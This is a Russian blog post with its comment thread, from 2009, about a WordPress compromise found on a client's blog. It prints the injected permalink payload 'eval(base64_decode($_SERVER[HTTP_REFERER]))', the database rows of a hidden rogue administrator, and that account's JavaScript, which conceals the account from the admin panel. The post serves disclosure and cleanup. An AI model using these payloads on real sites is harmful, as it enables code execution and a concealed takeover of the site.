Ахтунг! Атаки на WordPress блоги
Столкнулся позавчера с одним “глюком” при настройке клиентского блога – криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:

Phpmyadmin выдает при этом примерно такое:
Lost connection to MySQL server during query
и не отвечает сервер минут 50 после этого…
Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:
%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):
(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n var t=document.getElementById("user_superuser");\n while(t.nodeName!="TR"){\n t=t.parentNode;\n };\n t.parentNode.removeChild(t);\n var tags = document.getElementsByTagName("H3");\n var s = " shown below";\n for (var i = 0; i < tags.length; i++) {\n var t=tags[i].innerHTML;\n var h=tags[i];\n if(t.indexOf(s)>0){\n s =(parseInt(t)-1)+s;\n h.removeChild(h.firstChild);\n t = document.createTextNode(s);\n h.appendChild(t);\n }\n }\n var arr=document.getElementsByTagName("ul");\n for(var i in arr) if(arr[i].className=="subsubsub"){\n var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n if(n[1]>0){\n var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n arr[i].innerHTML=txt;\n }\n }\n }catch(e){};\n };\n addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');
вот этот поддельный администратор "хакер"
(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');
Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко
так что обновляйтесь регулярно :-)
Связанные записи
28 комментариев
Комментарии не по теме удаляются! Читайте реадми дистрибутива, комментарии выше и FAQ! Прежде чем задавать вопрос, прочитайте это. Научитесь ценить чужое время!


(голосов: 8, средний: 3.88 из 5)

6 сентября 2009 в 18:06 (GMT+6)
Почти тоже самое произошло с моими блогами, но проблему заметил по измененным постоянным ссылкам. Помимо всего обнаружил небольшое изменение кода в паре пхп скриптов которое вычистил сразу (wp-config.php и в скрипте суперкеширования).
Суперхакеров убил в базе, что и вам рекомендую, лечится просто, заходим в таблицу wp_usermeta и убиваем все строки с ID юзеров у которых FIRST_NAME не выглядит нормально. В моем случае такой же жабаскрипт торчал в этом поле…
Обновляемся чаще…
6 сентября 2009 в 18:34 (GMT+6)
> так что обновляйтесь регулярно :-)
Если вражина уже пролезла и заделалась тайным админом, то обновление – что мертвому припарки.
6 сентября 2009 в 19:16 (GMT+6)
Насколько знаю обновлятся бесполезно, так как баг свойственен всем версиям. Вроде должны выпустить багфикс.
6 сентября 2009 в 19:58 (GMT+6)
В 2.8.3 уже приняты меры, чтобы юзеры не лазили куда не положено.
6 сентября 2009 в 22:23 (GMT+6)
Дело в том что, есть версии что это не бага, а именно атака какого-то червяка, т.е. блоги взламываются автоматически. :(
6 сентября 2009 в 22:34 (GMT+6)
Это не бага, это – ДЫРКА.
Процедура тривиальная: регистрация – логин – смена ЧПУ – повышение привилегий и скрытие юзера. Так что в принципе это может делать и простенький скрипт. Червяки, трояны, ботнеты и прочий hi-tec тут без надобности.
7 сентября 2009 в 0:35 (GMT+6)
А если регистрация закрыта? Это не спасет?
7 сентября 2009 в 1:04 (GMT+6)
Закрыта вообще или только сейчас? Если вообще – то от этой напасти спасет. Но есть, наверно, и другие. Так что расслабляться рано :)